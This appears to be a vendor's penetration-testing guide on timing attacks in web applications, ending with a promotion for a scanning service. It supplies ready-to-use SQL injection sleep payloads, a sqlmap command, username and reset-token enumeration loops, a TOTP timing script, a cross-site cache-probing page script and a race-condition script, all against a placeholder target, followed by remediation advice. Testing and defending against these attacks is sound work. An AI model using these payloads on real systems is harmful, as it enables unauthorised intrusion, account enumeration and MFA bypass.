Timing Attacks in Web Applications: Detection and Testing Methodology
Timing attacks extract information not from what an application returns, but from how long it takes to respond. The server's processing time leaks data about internal state — whether a username exists, whether a password hash comparison reached a certain character, whether a database query hit an index. Attackers measure response latency to infer things the application never intended to disclose.
These attacks are subtle and easy to miss in a standard assessment because the vulnerability isn't in a response body or header — it's in variance between timing measurements. This guide covers the major categories of timing vulnerabilities in web applications and how to test each.
Time-Based Blind SQL Injection
When a SQL injection vulnerability exists but produces no visible output — no error messages, no data in the response — time-based techniques allow data extraction by making the database delay conditionally.
Basic detection
# Baseline request time (note it)
time curl -s "https://target.com/api/users?id=1"
# MySQL: Test with SLEEP() — 5s delay if injection works
time curl -s "https://target.com/api/users?id=1' AND SLEEP(5)--"
time curl -s "https://target.com/api/users?id=1' AND SLEEP(5) AND '1'='1"
# Conditional time delay — true vs false
time curl -s "https://target.com/api/users?id=1' AND IF(1=1,SLEEP(5),0)--"
time curl -s "https://target.com/api/users?id=1' AND IF(1=2,SLEEP(5),0)--"
# PostgreSQL
id=1'; SELECT pg_sleep(5)--
id=1' AND (SELECT pg_sleep(5)) IS NOT NULL--
# MSSQL
id=1'; WAITFOR DELAY '0:0:5'--
# SQLite (no sleep, but heavy computation)
id=1 AND 1=(SELECT COUNT(*) FROM sqlite_master,sqlite_master,sqlite_master)
A 5-second delay only in the true condition confirms time-based injection. SQLMap automates extraction with --technique=T:
sqlmap -u "https://target.com/api/users?id=1" \
--technique=T \
--time-sec=5 \
--level=3 --risk=2 \
--batch -v 3
Authentication Timing: Username Enumeration
Login endpoints often take longer to respond for valid usernames than invalid ones. When a username exists, the application retrieves the hash and runs bcrypt (200-500ms). When it doesn't exist, the app returns early without hashing — often in under 10ms. This difference is detectable and exploitable.
Measuring authentication timing
# Shell-based timing measurement
# Run multiple samples per username to average out network noise
TARGET="https://target.com/api/login"
WRONG_PASSWORD="wrong_password_xyz_99291"
for USERNAME in admin root user alice bob test notexistent12345; do
TOTAL=0
for i in 1 2 3 4 5; do
T=$(curl -s -o /dev/null -w "%{time_total}" -X POST "$TARGET" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$USERNAME\",\"password\":\"$WRONG_PASSWORD\"}")
TOTAL=$(echo "$TOTAL + $T" | bc)
done
AVG=$(echo "scale=3; $TOTAL / 5" | bc)
echo "$USERNAME: ${AVG}s"
done
Typical vulnerable pattern:
- Valid username: 200-500ms (DB lookup hit + bcrypt hash comparison)
- Invalid username: 2-15ms (DB lookup miss, early return)
A difference of even 50ms is consistently detectable with 20+ samples. Burp Suite Intruder sorts results by response time after the run — valid usernames cluster at the high end.
TOTP and OTP Timing Leaks
Time-based one-time password (TOTP) validation compares a submitted 6-digit code against the expected value. In many implementations, this comparison is string-based and not constant-time. A character-by-character comparison exits on the first mismatch, so a code where all 6 digits match the real TOTP will take slightly longer than one that mismatches on digit 1.
Exploiting this in practice requires many samples (100+ per code prefix) because network jitter far exceeds the comparison timing difference. The attack is more theoretical than practical for most web applications, but real in controlled environments or with local timing access.
# Test whether TOTP validation is constant-time
# Send 100 requests with each possible first digit, compare mean response times
import requests, time, statistics
TARGET = "https://target.com/api/mfa/verify"
COOKIES = {"session": "victim_session_token"}
SAMPLES = 100
times_by_digit = {}
for first_digit in range(10):
times = []
for _ in range(SAMPLES):
code = f"{first_digit}00000"
t0 = time.perf_counter()
requests.post(TARGET, json={"totp": code}, cookies=COOKIES)
times.append(time.perf_counter() - t0)
times_by_digit[first_digit] = statistics.mean(times)
# The digit with the highest mean is more likely the correct first digit
for d, t in sorted(times_by_digit.items(), key=lambda x: x[1], reverse=True):
print(f"Digit {d}: {t:.5f}s")
More practically relevant: test whether the application enforces rate limiting on OTP submission. Without rate limiting, a 6-digit TOTP can be brute-forced in at most 1,000,000 attempts — and within a 30-second window, only 1,000 attempts are needed if the attacker guesses the likely range.
Password Reset Token Timing
Password reset flows often validate tokens using string comparison. If the comparison is not constant-time, an attacker who can submit many reset token guesses can infer the token character by character.
# Test reset token endpoint response times
# Submit tokens with prefix variations
# Long delays on specific prefixes suggest character match
for PREFIX in aa ab ac ad ae af ag ah ai aj; do
TOKEN="${PREFIX}xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
TIME=$(curl -s -o /dev/null -w "%{time_total}" -X POST \
"https://target.com/api/reset-password" \
-d "token=$TOKEN&password=newpass123")
echo "$PREFIX: $TIME"
done
This attack is most relevant for long-lived tokens (24-hour reset tokens) where there's time to accumulate enough samples. Short-lived tokens with rate limiting substantially reduce the risk.
Cross-Site Timing: Inferring State from Cache Behavior
Even without direct access to an application, cross-site timing attacks can infer whether a resource is cached — which reveals whether a victim visited a particular URL. The performance.now() API provides microsecond resolution for timing resource loads.
// Attacker page: infer whether victim has visited target.com/admin
function measureLoadTime(url) {
return new Promise((resolve) => {
const start = performance.now();
const img = new Image();
img.onload = img.onerror = () => {
resolve(performance.now() - start);
};
img.src = url + '?t=' + Date.now();
});
}
async function inferCache() {
const times = [];
for (let i = 0; i < 20; i++) {
const t = await measureLoadTime('https://target.com/api/admin-only-resource');
times.push(t);
await new Promise(r => setTimeout(r, 10));
}
const avg = times.reduce((a,b) => a+b) / times.length;
// Cache hit: < 20ms; Cache miss: > 100ms
console.log(`Average: ${avg.toFixed(1)}ms — ${avg < 50 ? 'CACHED (visited)' : 'not cached'}`);
}
inferCache();
Modern browsers implement cache partitioning (using the top-level origin as part of the cache key) specifically to defeat cross-site timing attacks. But cache partitioning is only available in recent browser versions, and some CDN configurations still leak timing information across origins.
Race Condition Timing
Race conditions are a related timing class — not about measuring response time to extract data, but about sending multiple requests simultaneously to exploit check-then-act vulnerabilities. The attacker wins the race between the check (does this user have credits?) and the act (deduct credits).
Burp Suite's Turbo Intruder is the standard tool for race condition testing. The key is sending all requests in a single TCP burst to minimize timing variation:
# Turbo Intruder script for race condition testing
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=20,
requestsPerConnection=1,
pipeline=False)
# Queue 20 simultaneous redemption requests
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
if 'success' in req.response:
table.add(req)
Testing Checklist
| Test | Target | Tool |
|---|---|---|
| Time-based SQLi | All parameterized inputs | SQLMap --technique=T, manual SLEEP payloads |
| Username enumeration via timing | Login endpoint | Burp Intruder sorted by response time, 5+ samples per username |
| TOTP comparison timing | MFA verification endpoint | Custom script with 100+ samples per code prefix |
| Password reset token timing | Reset token validation | Turbo Intruder, prefix enumeration |
| Race conditions | Transactional endpoints (gift cards, coupons, credits) | Turbo Intruder with gate synchronization |
| Cross-site cache timing | Resources behind authentication | performance.now() from attacker page |
| Rate limiting on OTP | TOTP / SMS OTP endpoints | Burp Intruder with 1000+ code payloads |
Remediation
Use constant-time comparison functions: All secret comparisons — passwords (after hashing), TOTP codes, API keys, reset tokens, HMAC signatures — must use constant-time comparison functions. Never use ==, ===, strcmp(), or equals() for secret comparison.
# Python
import hmac
hmac.compare_digest(expected_token, submitted_token)
# Node.js
const crypto = require('crypto');
crypto.timingSafeEqual(Buffer.from(expected), Buffer.from(submitted));
# PHP
hash_equals($expected_token, $submitted_token);
# Go
subtle.ConstantTimeCompare([]byte(expected), []byte(submitted)) == 1
Always compute the hash: For login flows, always run the password hash computation even when the username doesn't exist. Store a dummy hash and run bcrypt against it; discard the result but ensure consistent timing.
Rate limit all authentication endpoints: OTP, TOTP, password reset, and login endpoints must enforce rate limiting. A 30-second lockout after 5 failed attempts defeats timing-based enumeration in practice even if a timing leak exists.
Use parameterized queries: The foundation of preventing time-based SQL injection is the same as all SQL injection prevention — parameterized queries or prepared statements that cannot be manipulated into causing delays.
Enforce browser cache partitioning: Serve Cache-Control: no-store on authenticated responses to prevent cache-based timing side-channels. For public resources, cross-site cache partitioning in modern browsers provides automatic protection.
Ironimo tests your application for time-based blind SQL injection, authentication timing leaks, and race conditions using the same techniques manual pentesters use — with consistent measurement across your entire API surface, not just the endpoints you know about.
Start free scan